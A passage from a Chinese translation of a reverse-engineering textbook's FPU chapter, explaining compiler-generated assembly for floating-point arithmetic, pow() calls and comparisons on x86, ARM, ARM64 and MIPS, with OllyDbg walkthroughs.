人性化地显示出了第二个参数的值—— 3.14。 继续执行 FDIV 指令。如图 17.2 所示,此时 ST(0)寄存器存储着上一次运算的商 0.382„ 执行第三条指令即 FLD 指令之后,ST(0)寄存器加载了数值 3.4(3.39999„„)。如图 17.3 所示。 在 3.4 入栈的同时,先前运算出来的商被推送到 ST(1)寄存器,而后 EIP 指针的值指向下一条指令 FMUL。如同 OllyDbg 提示的那样,FMUL 指令会从内存中读取因子 4.1。 ① https://en.wikipedia.org/wiki/Forth_(programming_language)。 ② Stack machines,https://en.wikipedia.org/wiki/Stack_machine。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 17 章 FPU 191 图 17.2 OllyDbg:执行 FDIV 指令 图 17.3 OllyDbg:执行第二个 FLD 指令 在执行 FMUL 指令之后,ST(0)寄存器将存储着乘法运算的积,如图 17.4 所示。 图 17.4 OllyDbg:执行 FMUL 指令 然后运行 FADDP 指令,运算求得的和会被存储在 ST(0)寄存器中。同时,指令会清空 ST(1)寄存器。 如图 17.5 所示。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 192 逆向工程权威指南(上册) 图 17.5 OllyDbg:执行 FADDP 指令 在FPU 的运算指令结束之后,运算结果存储在 ST(0)寄存器里。main()函数稍后会从这个寄存器提取运算结果。 值得注意的是 ST(7)寄存器——它的值是 13.93„„这是为什么? 这不难理解。前文介绍过,FPU 的寄存器构成了自己的栈结构。因为需要用硬件直接实现数据栈,所 以栈结构也比较简单。在对 FPU 进行出入栈操作的时候,如果每次都要把所有 7 个寄存器的内容转移(或 者说复制)到相邻的寄存器,那么开销会非常高。实际的 FPU 只有 8 个寄存器和 1 个栈顶指针(TOP)寄 存器。栈顶指针寄存器专门记录“栈顶”寄存器的寄存器编号。在 FPU 进行数据入栈(PUSH)操作时, 它首先令栈顶指针寄存器指向下一个寄存器,然后在那个寄存器里存储数据。出栈(POP)指令的过程相 反。但是在进行出栈操作时,FPU 不会清空原有寄存器(否则必定影响性能)。所以,在执行完程序的浮 点运算指令后,FPU 寄存器的状态就如图 17.5 所示。这种现象可以说是“FADDP 指令把运算结果推送入 栈,然后进行了出栈操作”,但是实际上这条指令把和存入寄存器后调整了栈顶指针寄存器的值。所以,确 切地说,FPU 的寄存器构成了循环缓冲区(circular buffer)。 GCC 使用 GCC 4.4.1(启用 –O3 选项)编译上述代码,生成的程序略有不同。 指令清单 17.2 Optimizing GCC 4.4.1 public f f proc near arg_0 = qword ptr 8 arg_8 = qword ptr 10h push ebp fld ds:dbl_8048608 ; 3.14 ; stack state now: ST(0) = 3.14 mov ebp, esp fdivr [ebp+arg_0] ; stack state now: ST(0) = result of division fld ds:dbl_8048610 ; 4.1 ; stack state now: ST(0) = 4.1, ST(1) = result of division fmul [ebp+arg_8] ; stack state now: ST(0) = result of multiplication, ST(1) = result of division 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 17 章 FPU 193 pop ebp faddp st(1), st ; stack state now: ST(0) = result of addition retn f endp 第一处不同点,同时也是最显著的不同之处是:GCC 把 3.14 送入 FPU 的栈(ST(0)寄存器),用作 arg_0 的除数。 FDIVR 是 Reverse Divide 的缩写。FDIVR 指令的除数和被除数,对应 FDIV 指令的被除数和除数,即 位置相反。在乘法运算中,因子的位置不影响运算结果,所以没有 FMULR 指令。 FADDP 指令从栈中 POP 出一个值进行加法运算,并用 ST(0)存储和。 17.5.2 ARM: Optimizing Xcode 4.6.3 (LLVM) (ARM mode) 在 ARM 统一浮点运算标准之前,很多厂商都推出了各自的扩展指令以实现浮点运算。后来,VFP(Vector Floating Point)成为了行业的标准。 x86 平台的 FPU 有自己的栈;但是 ARM 平台里没有栈结构,只能操作寄存器。 指令清单 17.3 Optimizing Xcode 4.6.3 (LLVM) (ARM mode) f VLDR D16, =3.14 VMOV D17, R0, R1 ; load "a" VMOV D18, R2, R3 ; load "b" VDIV.F64 D16, D17, D16 ; a/3.14 VLDR D17, =4.1 VMUL.F64 D17, D18, D17 ; b*4.1 vVADD.F64 D16, D17, D16 ; + VMOV R0, R1, D16 BX LR dbl_2C98 DCFD 3.14 ; DATA XREF: f dbl_2CA0 DCFD 4.1 ; DATA XREF: f+10 上述程序出现了 D 字头的寄存器。ARM 平台有 32 个 64 位的 D 字头寄存器。这些寄存器即可用来存 储(双精度)浮点数,又可用于单指令流多数据流运算/SIMD(ARM 平台下这种运算叫 NEON)。ARM 平 台还有 32 个 S 字头的寄存器。S 字头寄存器用于处理单精度浮点数据。简单地说,S 字头寄存器用于存储 单精度浮点,而 D 字头寄存器用于处理双精度浮点。详细规格请参见附录 B.3.3。 本例中的两个浮点都以 IEEE 754 的格式存储于内存之中。 望文生义,VLDR 和 VMOV 指令就是操作 D 字头寄存器的 LDR 和 MOV 指令。这些 V 字头的指令和 D 字头的寄存器,不仅能够处理浮点类型数据,而且可以用于 SIMD(NEON)运算。 即使涉及浮点运算,但是它还是 ARM 平台的程序,还会遵循 ARM 规范使用 R 字头寄存器传递参数。 双精度浮点数据是 64 位数据,所以每传递一个双精度浮点数据就需要使用 2 个 R 字头寄存器。 “VMOV D17, R0, R1”指令从 R0 和R1 寄存器读取64 位数据的2 个部分,并把最终数值存储在 D17 寄存器中。 “VMOV R0, R1, D16”与上述指令的作用相反。它把 D16 寄存器的值(64 位)分解成两个 32 位数据, 并分别存储于 R0 和 R1 寄存器。 后面出现的 VDIV、VMUL、VADD 指令都是浮点运算指令,不再介绍。 使用 Xcode 生成 Thumb-2 模式的代码,会跟这段程序相同。 17.5.3 ARM: Optimizing Keil 6/2013 (Thumb mode) f PUSH {R3-R7,LR} MOVS R7, R2 异步社区会员 dearfuture(15918834820) 专享 尊重版权 194 逆向工程权威指南(上册) MOVS R4, R3 MOVS R5, R0 MOVS R6, R1 LDR R2, =0x66666666;4.1 LDR R3, =0x40106666 MOVS R0, R7 MOVS R1, R4 BL __aeabi_dmul MOVS R7, R0 MOVS R4, R1 LDR R2, =0x51EB851F;3.14 LDR R3, =0x40091EB8 MOVS R0, R5 MOVS R1, R6 BL __aeabi_ddiv MOVS R2, R7 MOVS R3, R4 BL __aeabi_dadd POP {R3-R7,PC} ; 4.1 in IEEE 754 form: dword_364 DCD 0x66666666 ; DATA XREF: f+A dword_368 DCD 0x40106666 ; DATA XREF: f+C ; 3.14 in IEEE 754 form: dword_36C DCD 0x51EB851F ; DATA XREF: f+1A dword_370 DCD 0x40091EB8 ; DATA XREF: f+1C Keil 生成的 Thumb 模式程序不支持 NEON 运算和 FPU 浮点运算。Thumb 模式程序使用两个通用的 R 字头寄存器传递双精度浮点型数据。因为不再使用 FPU 的专用指令,所以这类程序必须调用库函数(例如 __aeabi_dmul, __aeabi_ddiv, __aeabi_dadd)“仿真”浮点运算。“仿真”意义上的模拟运算,其速度当然比 不上 FPU 处理器的速度,但是聊胜于无。 在早年协作处理器还属于昂贵的奢侈品的时候,x86 平台的浮点仿真运算的库函数曾经盛行一时。 在 ARM 系统里,FPU 仿真处理叫作“软浮点/soft float”或者“armel”,而通过硬件实现的 FPU 指令 叫作“硬浮点/hard float”或“armhf”。 17.5.4 ARM64: Optimizing GCC (Linaro) 4.9 这种程序十分短。 指令清单 17.4 Optimizing GCC (Linaro) 4.9 f: ; D0 = a, D1 = b ldr d2, .LC25 ; 3.14 ; D2 = 3.14 fdiv d0, d0, d2 ; D0 = D0/D2 = a/3.14 ldr d2, .LC26 ; 4.1 ; D2 = 4.1 fmadd d0, d1, d2, d0 ; D0 = D1*D2+D0 = b*4.1+a/3.14 ret ; constants in IEEE 754 format: .LC25: .word 1374389535 ; 3.14 .word 1074339512 .LC26: .word 1717986918 ; 4.1 .word 1074816614 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 17 章 FPU 195 17.5.5 ARM64: Non-optimizing GCC (Linaro) 4.9 指令清单 17.5 Non-optimizing GCC (Linaro) 4.9 f: sub sp, sp, #16 str d0, [sp,8] ; save "a" in Register Save Area str d1, [sp] ; save "b" in Register Save Area ldr x1, [sp,8] ; X1 = a ldr x0, .LC25 ; X0 = 3.14 fmov d0, x1 fmov d1, x0 ; D0 = a, D1 = 3.14 fdiv d0, d0, d1 ; D0 = D0/D1 = a/3.14 fmov x1, d0 ; X1 = a/3.14 ldr x2, [sp] ; X2 = b ldr x0, .LC26 ; X0 = 4.1 fmov d0, x2 ; D0 = b fmov d1, x0 ; D1 = 4.1 fmul d0, d0, d1 ; D0 = D0*D1 = b*4.1 fmov x0, d0 ; X0 = D0 = b*4.1 fmov d0, x1 ; D0 = a/3.14 fmov d1, x0 ; D1 = X0 = b*4.1 fadd d0, d0, d1 ; D0 = D0+D1 = a/3.14 + b*4.1 fmov x0,d0 ;\ redundant code fmov d0,x0 ;/ add sp, sp, 16 ret .LC25: .word 1374389535 ; 3.14 .word 1074339512 .LC26: .word 1717986918 ; 4.1 .word 1074816614 在没有启用优化功能的情况下,GCC 生成的代码比较拖沓。在上述程序中,不仅出现了没有意义的数 值交换指令,而且还出现了明显多余的指令(例如最后两条 FMOV 指令)。这可能是 GCC 4.9 在编译 ARM64 程序方面尚有不足。 值得注意的是,ARM64 本身就具备 64 位寄存器,而 D 字头寄存器同样是 64 位寄存器。所以编译器 可以调动通用寄存器 GPR 直接存储双精度浮点数,而不必非得使用本地栈来存储这种数据。毫无疑问,在 32 位 CPU 上,编译器无法使用这种寄存器分配方案。 建议读者用这个程序进行练习,在不使用 FMADD 之类的新指令的情况下,手动优化上述函数。 17.5.6 MIPS MIPS 平台支持多个(4 个及以下)协作处理器。第 0 个协作处理器专门用于调度其他的协作处理器, 第 1 个协作处理器就是 FPU。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 196 逆向工程权威指南(上册) 与 ARM 平台的情形相似,MIPS 的协作处理器不是堆栈机(stack machine),只是 32 个 32 位寄存器 ($F0~$F31)。有关 FPU 各寄存器的介绍,请参见附录 C.1.2 节。在处理 64 位双精度浮点数时,必须使用 一对 32 位 F 字头寄存器。 指令清单 17.6 Optimizing GCC 4.4.5 (IDA) f: ; $f12-$f13=A ; $f14-$f15=B lui $v0, (dword_C4 >> 16) ; ? ; load low 32-bit part of 3.14 constant to $f0: lwc1 $f0, dword_BC or $at, $zero ; load delay slot, NOP ; load high 32-bit part of 3.14 constant to $f1: lwc1 $f1, $LC0 lui $v0, ($LC1 >> 16) ; ? ; A in $f12-$f13, 3.14 constant in $f0-$f1, do division: div.d $f0, $f12, $f0 ; $f0-$f1=A/3.14 ; load low 32-bit part of 4.1 to $f2: lwc1 $f2, dword_C4 or $at, $zero ; load delay slot, NOP ; load high 32-bit part of 4.1 to $f3: lwc1 $f3, $LC1 or $at, $zero ; load delay slot, NOP ; B in $f14-$f15, 4.1 constant in $f2-$f3, do multiplication: mul.d $f2, $f14, $f2 ; $f2-$f3=B*4.1 jr $ra ; sum 64-bit parts and leave result in $f0-$f1: add.d $f0, $f2 ; branch delay slot, NOP .rodata.cst8:000000B8 $LC0: .word 0x40091EB8 # DATA XREF: f+C .rodata.cst8:000000BC dword_BC: .word 0x51EB851F # DATA XREF: f+4 .rodata.cst8:000000C0 $LC1: .word 0x40106666 # DATA XREF: f+10 .rodata.cst8:000000C4 dword_C4: .word 0x66666666 # DATA XREF: f 需要介绍的指令有:  LWC1 把一个 32 位 Word 数据传递给第一个协作处理器(Load Word to Coprocessor 1)。可见,指令 中的 1 指代协作处理器的编号。成对出现的 LWC1 指令可能会被调试程序显示为伪指令 LD。  DIV.D、MUL.D、ADD.D 指令是双精度浮点数的除法、乘法和加法运算指令。其后缀“.D”表明数据 类型是 double/双精度浮点。顾名思义,后缀为“.S”的指令则是 single/单精度浮点数据的运算指令。 文中用问号“?”标出的 LUI 指令应当没有实际意义,可能是编译器生成的异常指令。如果有读者知 道其中奥秘,请发 email 给我。 17.6 利用参数传递浮点型数据 本节围绕下述程序进行演示: #include <math.h> #include <stdio.h> int main () { printf ("32.01 ^ 1.54 = %lf\n", pow (32.01,1.54)); return 0; } 17.6.1 x86 使用 MSVC 2010 编译上述程序,可得到如下所示的指令。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 17 章 FPU 197 指令清单 17.7 MSVC 2010 CONST SEGMENT __real@40400147ae147ae1 DQ 040400147ae147ae1r ; 32.01 __real@3ff8a3d70a3d70a4 DQ 03ff8a3d70a3d70a4r ; 1.54 CONST ENDS _main PROC push ebp mov ebp, esp sub esp, 8 ; 为第 1 个变量分配空间 fld QWORD PTR __real@3ff8a3d70a3d70a4 fstp QWORD PTR [esp] sub esp, 8 ; 为第 2 个变量分配空间 fld QWORD PTR __real@40400147ae147ae1 fstp QWORD PTR [esp] call _pow add esp, 8 ;单个变量的返回地址 ; 栈分配了 8 个字节的空间 ; 运算结果存储于 ST(0)寄存器 fstp QWORD PTR [esp] ;把 ST(0)的值转移到栈,供 printf()调用 push OFFSET $SG2651 call _printf add esp, 12 xor eax, eax pop ebp ret 0 _main ENDP FLD 和 FSTP 指令是在数据段(SEGMENT)和 FPU 的栈间交换数据的指令。FLD 把内存里的数据推 送入 FPU 的栈,而 FSTP 则把 FPU 栈顶的数据复制到内存中。pow()函数是指数运算函数,它从 FPU 的栈 内读取两个参数进行计算,并把运算结果(x 的 y 次幂)存储在 ST(0)寄存器里。之后,printf()函数先从内 存栈中读取 8 个字节的数据,再以双精度浮点的形式进行输出。 此外,这个例子里还可以直接成对使用 MOV 指令把浮点数据从内存复制到 FPU 的栈里。内存本身就 把浮点数据存储为 IEEE 754 的数据格式,而 pow()函数所需的参数就是这个格式的数据,所以此处没有格 式转换的必要。下一节的例子就会用到这个技巧。 17.6.2 ARM + Non-optimizing Xcode 4.6.3 (LLVM) (Thumb-2 mode) _main var_C = -0xC PUSH {R7,LR} MOV R7, SP SUB SP, SP, #4 VLDR D16, =32.01 VMOV R0, R1, D16 VLDR D16, =1.54 VMOV R2, R3, D16 BLX _pow VMOV D16, R0, R1 MOV R0, 0xFC1 ; "32.01 ^ 1.54 = %lf\n" ADD R0, PC VMOV R1, R2, D16 BLX _printf MOVS R1, 0 STR R0, [SP,#0xC+var_C] MOV R0, R1 异步社区会员 dearfuture(15918834820) 专享 尊重版权 198 逆向工程权威指南(上册) ADD SP, SP, #4 POP {R7,PC} dbl_2F90 DCFD 32.01 ; DATA XREF: _main+6 dbl_2F98 DCFD 1.54 ; DATA XREF: _main+E 前文介绍过,ARM 系统可以在不借助 D 字头寄存器的情况下,通过一对 R 字头寄存器传递 64 位浮点 数。但是由于我们没有启用编译器的优化选项,所以它还是用 D 字头寄存器传递浮点数。 从中可以看出,R0 和 R1 寄存器给_pow 函数传递了第一个参数,R2 和 R3 寄存器给函数传递了第二 个参数。函数把计算结果存储在 R0 和 R1 寄存器对。而后_pow 的运算结果再通过 D16 寄存器传递给 R1 和 R2 寄存器,以此向 printf()函数传递参数。 17.6.3 ARM + Non-optimizing Keil 6/2013 (ARM mode) _main STMFD SP!, {R4-R6,LR} LDR R2, =0xA3D70A4 ;y LDR R3, =0x3FF8A3D7 LDR R0, =0xAE147AE1 ;x LDR R1, =0x40400147 BL pow MOV R4, R0 MOV R2, R4 MOV R3, R1 ADR R0, a32_011_54Lf ; "32.01 ^ 1.54 = %lf\n" BL __2printf MOV R0, #0 LDMFD SP!, {R4-R6,PC} y DCD 0xA3D70A4 ; DATA XREF: _main+4 dword_520 DCD 0x3FF8A3D7 ; DATA XREF: _main+8 ; double x x DCD 0xAE147AE1 ; DATA XREF: _main+C dword_528 DCD 0x40400147 ; DATA XREF: _main+10 a32_011_54Lf DCB "32.01 ^ 1.54 = %lf",0xA,0 ; DATA XREF: _main+24 在没有启用优化功能时,编译器只使用了 R-字头寄存器对,没有使用 D-字头寄存器。 17.6.4 ARM64 + Optimizing GCC (Linaro) 4.9 指令清单 17.8 Optimizing GCC (Linaro) 4.9 f: stp x29, x30, [sp, -16]! add x29, sp, 0 ldr d1, .LC1 ; load 1.54 into D1 ldr d0, .LC0 ; load 32.01 into D0 bl pow ; result of pow() in D0 adrp x0, .LC2 add x0, x0, :lo12:.LC2 bl printf mov w0, 0 ldp x29, x30, [sp], 16 ret .LC0: ; 32.01 in IEEE 754 format .word -1374389535 .word 1077936455 .LC1: ; 1.54 in IEEE 754 format 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 17 章 FPU 199 .word 171798692 .word 1073259479 .LC2: .string"32.01 ^ 1.54 = %lf\n" 启用优化功能之后,编译器使用 D0 和 D1 寄存器加载常量、继而传递给 pow()函数。pow()函数的运算 结果再由 D0 寄存器传递给 printf()函数。因为 printf()函数不仅可以通过 X-字头寄存器获取整型数据和指针, 而且还可以直接访问 D-字头寄存器获取浮点数参数,所以在传递浮点数时不需要修改或转移数据。 17.6.5 MIPS 指令清单 17.9 Optimizing GCC 4.4.5 (IDA) main: var_10 = -0x10 var_4 = -4 ; function prologue: lui $gp, (dword_9C >> 16) addiu $sp, -0x20 la $gp, (__gnu_local_gp & 0xFFFF) sw $ra, 0x20+var_4($sp) sw $gp, 0x20+var_10($sp) lui $v0, (dword_A4 >> 16) ; ? ; load low 32-bit part of 32.01: lwc1 $f12, dword_9C ; load address of pow() function: lw $t9, (pow & 0xFFFF)($gp) ; load high 32-bit part of 32.01: lwc1 $f13, $LC0 lui $v0, ($LC1 >> 16) ; ? ; load low 32-bit part of 1.54: lwc1 $f14, dword_A4 or $at, $zero ; load delay slot, NOP ; load high 32-bit part of 1.54: lwc1 $f15, $LC1 ; call pow(): jalr $t9 or $at, $zero ; branch delay slot, NOP lw $gp, 0x20+var_10($sp) ; copy result from $f0 and $f1 to $a3 and $a2: mfc1 $a3, $f0 lw $t9, (printf & 0xFFFF)($gp) mfc1 $a2, $f1 ; call printf(): lui $a0, ($LC2 >> 16) # "32.01 ^ 1.54 = %lf\n" jalr $t9 la $a0, ($LC2 & 0xFFFF) # "32.01 ^ 1.54 = %lf\n" ; function epilogue: lw $ra, 0x20+var_4($sp) ; return 0: move $v0, $zero jr $ra addiu $sp, 0x20 .rodata.str1.4:00000084 $LC2: .ascii "32.01 ^ 1.54 = %lf\n"<0> ; 32.01: .rodata.cst8:00000098 $LC0: .word 0x40400147 # DATA XREF: main+20 .rodata.cst8:0000009C dword_9C: .word 0xAE147AE1 # DATA XREF: main .rodata.cst8:0000009C # main+18 ; 1.54: .rodata.cst8:000000A0 $LC1: .word 0x3FF8A3D7 # DATA XREF: main+24 .rodata.cst8:000000A0 # main+30 .rodata.cst8:000000A4 dword_A4: .word 0xA3D70A4 # DATA XREF: main+14 异步社区会员 dearfuture(15918834820) 专享 尊重版权 200 逆向工程权威指南(上册) 这段程序的 LUI 指令将双精度浮点数的高 16 位复制到$V0 寄存器。其中的(汇编宏>>16)是经 IDA 整理的 伪代码,它的作用是对 32 位数据右移 16 位、以得到高 16 位数。LUI 指令只能操作 16 位立即数。不过两个 LWC1 之前的 LUI 指令似乎没有意义,笔者给它们注释上了问号。如果哪位读者知晓其中玄机,还请联系作者本人。 MFC1 是“Move From Coprocessor 1”的缩写。在 MIPS 系统上,第 1 号协作处理器是 FPU。可见, 这条指令首先读取协作处理器的寄存器的值,然后再把这个值复制到 CPU 通用寄存器 GPR。不难看出, 这条指令把 pow()函数的运算结果复制到$A3 和$A2 寄存器里,然后 printf()函数从这对寄存器里提取一对 32 位数据、再把它输出为 64 位双精度浮点数。 17.7 比较说明 本节围绕下述程序进行演示: #include <stdio.h> double d_max (double a, double b) { if (a>b) return a; return b; }; int main() { printf ("%f\n", d_max (1.2, 3.4)); printf ("%f\n", d_max (5.6, -4)); }; 虽然这个函数很短,但是它的汇编代码并不那么简单。 17.7.1 x86 Non-optimizing MSVC 指令清单 17.10 Non-optimizing MSVC 2010 PUBLIC _d_max _TEXT SEGMENT _a$ = 8 ; size =8 _b$ = 16 ; size = 8 _d_max PROC push ebp mov ebp, esp fld QWORD PTR _b$[ebp] ; current stack state: ST(0) = _b ; compare _b (ST(0)) and _a, and pop register fcomp QWORD PTR _a$[ebp] ; stack is empty here fnstsw ax test ah, 5 jp SHORT $LN1@d_max ; we are here only if a>b fld QWORD PTR _a$[ebp] jmp SHORT $LN2@d_max $LN1@d_max: 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 17 章 FPU 201 fld QWORD PTR _b$[ebp] $LN2@d_max: pop ebp ret 0 _d_max ENDP 可见,FLD 指令把汇编宏_b 加载到 ST(0)寄存器。 FCOMP 首先比较 ST(0)与_a 的值,然后根据比较的结果设置 FPU 状态字(寄存器)的 C3/C2/C0 位。FPU 的状态字寄存器是一个 16 位寄存器,用于描述 FPU 的当前状态。 在设置好相应比特位之后,FCOMP 指令还会从栈里抛出(POP)一个值。FCOM 与 FCOMP 的功能十 分相似。FCOM 指令只根据数值比较的结果设置状态字,而不会再操作 FPU 的栈。 不幸的是,在 Intel P6 ①之前问世的 CPU 上,条件转移指令不能根据 C3/C2/C0 状态位进行条件判断。 考虑到那时候的 FPU 在物理上尚与 CPU 分离,所以这种不足在当时大概还算不上是缺陷。 自 Intel P6 问世之后,FCOMI/FCOMIP/FUCOMI/FUCOMIP 指令不仅延续了先前各指令的功能,而且 新增了设置 CPU 标志位 ZF/PF/CF 的功能。 FNSTSW 指令把 FPU 状态寄存器的值复制到 AX 寄存器。C3/C2/C0 标志位对应 AX 的第 14/10/8 位。复制数 值并不会改变标志位(bit)的数权(位置)。标志位会集中在 AX 寄存器的高地址位区域——即 AH 寄存器里。  如果 b>a,则 C3、C2、C0 寄存器的值会分别是 0、0、0。  如果 a>b,则寄存器的值会分别是 0、0、1。  如果 a=b,则寄存器的值会分别是 1、0、0。  如果出现了错误(NaN 或数据不兼容),则寄存器的值是 1、1、1。 在 FNSTSW 指令把 FPU 状态寄存器的值复制到 AX 寄存器后,AX 寄存器各个 bit 位与 C0~C3 寄存 器的对应关系如下图所示。 14 10 9 8 C3 C2 C1 C0 若以 AH 寄存器的视角来看,C0~C3 与各 bit 位的对应关系则是: 6 2 1 0 C3 C2 C1 C0 “test ah, 5”指令把 ah 的值(FPU 标志位的加权求和值)和 0101(二进制的 5)做与(AND)运算, 并设置标志位。影响 test 结果的只有第 0 比特位的 C0 标志位和第 2 比特位的 C2 标志位,因为其他的位都 会被置零。 接下来,我们首先要介绍奇偶校验位 PF(parity flag)。 PF 标志位的作用是判定运算结果中的“1”的个数,如果“1”的个数为偶数,则 PF 的值为 1,否则其值为 0。 检验奇偶位通常用于判断处理过程是否出现故障,并不能判断这个数值是奇数还是偶数。FPU 有四个 条件标志位(C0 到 C3)。但是,必须把标志位的值组织起来、存放在标志位寄存器中,才能进行奇偶校验 位的正确性验证。FPU 标志位的用途各有不同:C0 位是进位标志位 CF,C2 是奇偶校验位 PF,C3 是零标 志位 ZF。在使用 FUCOM 指令(FPU 比较指令的通称)时,如果操作数里出现了不可比较的浮点值(非 数值型内容 NaN 或其他无法被指令支持的格式),则 C2 会被设为 1。 如果 C0 和 C2 都是 0 或都是 1,则设 PF 标志为 1 并触发 JP 跳转(Jump on Parity)。前面对 C3/C2/C0 的取值进行了分类讨论,C2 和 C0 的数值相同的情况分为 b>a 和 a=b 这两种情况。因为 test 指令把 ah 的 值与 5 进行“与”运算,所以 C3 的值无关紧要。 在此之后的指令就很简单了。如果触发了 JP 跳转,则 FLD 指令把变量_b 的值复制到 ST(0)寄存器, ① Pentium Pro, Pentium II 等 CPU。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 202 逆向工程权威指南(上册) 否则变量_a 的值将会传递给 ST(0)寄存器。 如果需要检测 C2 的状态 如果 TEST 指令遇到错误(NaN 等情形),则 C2 标志位的值会被设置为 1。不过我们的程序不检测这 类错误。如果编程人员需要处理 FPU 的错误,他就不得不添加额外的错误检查指令。 使用 OllyDbg 调试本章例一(a=1.2,b=3.4) 使用 OllyDbg 打开编译好的程序,如图 17.6 所示。 图 17.6 OllyDbg:执行第一条 FLD 指令 我们可以在数据栈中看到两对 32 位的值,它们是当前函数的两个参数:a=1.2, b=3.4。此时ST(0)寄存器已经读 取了变量b 的值(3.4)。下一步将执行 FCOMP 指令。OllyDbg 会提示FCOMP 的第二个参数,这个参数也在栈里。 执行 FCOMP 指令,如图 17.7 所示。 图 17.7 OllyDbg:执行 FCOMP 指令 此时 FPU 的条件标志位都是零。刚才被 POP 的数值已经转移到 ST(7)寄存器里了。本章已经在 5.1 节 介绍过 FPU 的寄存器和数据栈,这里不再复述。 然后运行 FNSTSW 指令,如图 17.8 所示。 可见 AX 寄存器的值是零。确实,FPU 的所有标志位目前都是零。OllyDbg 将 FNSTSW 识别为 FSTSW 指令,这两条指令是同一条指令。 接下来运行 TEST 指令,如图 17.9 所示。 PF 标志的值为 1。这是因为 0 里面有偶数个 1,所以 PF 是 1。OllyDbg 将 JP 识别为 JPE 指令,它们是 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 17 章 FPU 203 同一个指令。在下一步里,程序会触发 JP 跳转。 图 17.8 OllyDbg:执行 FNSTSW 指令 图 17.9 OllyDbg:执行 Test 指令 如图 17.10 所示,程序会触发 JPE 跳转,ST(0)将读取变量 b 的值 3.4。 图 17.10 执行第二条 FLD 指令 异步社区会员 dearfuture(15918834820) 专享 尊重版权 204 逆向工程权威指南(上册) 此后函数结束。 调试本章例二(a=5.6, b=−4) 首先使用 OllyDbg 加载编译好的可执行程序,如图 17.11 所示。 图 17.11 OllyDbg:执行第一条 FLD 指令 这个函数有两个参数,a 是 5.6、b 是−4。此刻,参数 b 已经加载到 ST(0)寄存器,即将执行 FCOMP 指令。OllyDbg 会在栈里显示 FCOMP 的另一个参数。 执行 FCOMP 指令,如图 17.12 所示。 图 17.12 OllyDbg:执行 FCOMP 指令 C0 之外的 FPU 标志位都是 0。 然后执行 FNSTSW 指令,如图 17.13 所示。 此时 AX 寄存器的值是 0x100。C0 标志位是 AX 寄存器的第 8 位(从第零位开始数)。 接下来执行 TEST 指令。 如图 17.14 所示,PF 的值为 0。毕竟,把 0x100 转换为 2 进制数后,里面只有 1 个 1,1 是奇数。此后 不会触发 JPE 跳转。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 17 章 FPU 205 图 17.13 OllyDbg:执行 FNSTSW 指令 图 17.14 OllyDbg:执行 TEST 指令 因为不会触发 JPE 跳转,所以 FLD 从 a 里取值,把 5.6 赋值给了 ST(0)寄存器,如图 17.15 所示。 图 17.15 OllyDbg:执行第二条 FLD 指令 异步社区会员 dearfuture(15918834820) 专享 尊重版权 206 逆向工程权威指南(上册) Optimizing MSVC 2010 指令清单 17.11 Optimizing MSVC 2010 _a$ = 8 ; size = 8 _b$ = 16 ; size = 8 _d_max PROC fld QWORD PTR _b$[esp-4] fld QWORD PTR _a$[esp-4] ; current stack state: ST(0) = _a, ST(1) = _b fcom ST(1) ; compare _a and ST(1) = (_b) fnstsw ax test ah, 65 ; 00000041H jne SHORT $LN5@d_max ; copy ST(0) to ST(1) and pop register, ; leave (_a) on top fstp ST(1) ; current stack state: ST(0) = _a ret 0 $LN5@d_max: ; copy ST(0) to ST(0) and pop register, ; leave (_b) on top fstp ST(0) ; current stack state: ST(0) = _b ret 0 _d_max ENDP FCOM 指令和前面用过的 FCOMP 指令略有不同,它不操作 FPU 栈。而且本例的操作数也和前文有区 别,这里它是逆序的。所以,FCOM 生成的条件标志位的涵义也与前例不同。  如果 a>b,则 C3、C2、C0 位的值分别为 0、0、0。  如果 b>a,则对应数值为 0、0、1。  如果 a=b,则对应数值为 1、0、0。 就是说,“test ah, 65”这条指令仅仅比较两个标志位——C3(第6 位/bit)和C0(第0 位/bit)。在a>b 的情况下, 两者都应为0:这种情况下,程序不会被触发 JNE 跳转,并会执行后面的FSTP ST(1)指令,把ST(0)的值复制到 操作数中,然后从 FPU 栈里抛出一个值。换句话说,这条指令把 ST(0)的值(即变量_a 的值)复制到 ST(1) 寄存器;此后栈顶的2 个值都是_a。然后,相当于POP 出一个值来,使ST(0)寄存器的值为_a,函数随即结束。 在 b>a 或 a==b 的情况下,程序将触发条件转移指令 JNE。从 ST(0)取值、再赋值给 ST(0)寄存器,相当于 NOP 操作没有实际意义。接着它从栈里 POP 出一个值,使 ST(0)的值为先前 ST(1)的值,也就是变量_b。然后 结束本函数。大概是因为 FPU 的指令集里没有 POP 并舍弃栈顶值的指令,所以才会出现这样的汇报指令。 使用 OllyDbg 调试例一:a=1.2/b=3.4 的程序 在执行两条 FLD 指令之后,情况如图 17.16 所示。 此后将执行 FCOM 指令。OllyDbg 会显示 ST(0)和 ST(1)的值。 在执行 FCOMP 指令之后,C0 为 1,其他标志全部为 0,如图 17.17 所示。 在执行 FNSTSW 指令之后,AX=0x3100,如图 17.18 所示。 然后运行 TEST,如图 17.19 所示。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 17 章 FPU 207 图 17.16 OllyDbg:执行过两条 FLD 指令之后的情况 图 17.17 OllyDbg:执行 FCOM 指令 图 17.18 OllyDbg:执行 FNSTSW 指令 此刻 ZF=0,即将触发条件转移指令。 在执行 FSTP ST(即 ST(0))的时候,FPU 把 1.2 从栈里 POP 了出来,栈顶变为 3.4,如图 17.20 所示。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 208 逆向工程权威指南(上册) 图 17.19 OllyDbg:执行 TEST 指令 图 17.20 OllyDbg:执行 FSTP 指令 可见“FSTP ST”指令与“POP FPU 栈”指令的作用相似。 使用 OllyDbg 调试例二:a=5.6/b=-4 的程序 在执行两条 FLD 指令之后的情况如图 17.21 所示。 图 17.21 OllyDbg:执行两条 FLD 指令 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 17 章 FPU 209 接下来将要运行 FCOM 指令,如图 17.22 所示。 图 17.22 OllyDbg:执行 FCOM 指令 标志位寄存器都被置零。 执行过 FNSTSW 之后,AX=0x30000,如图 17.23 所示。 图 17.23 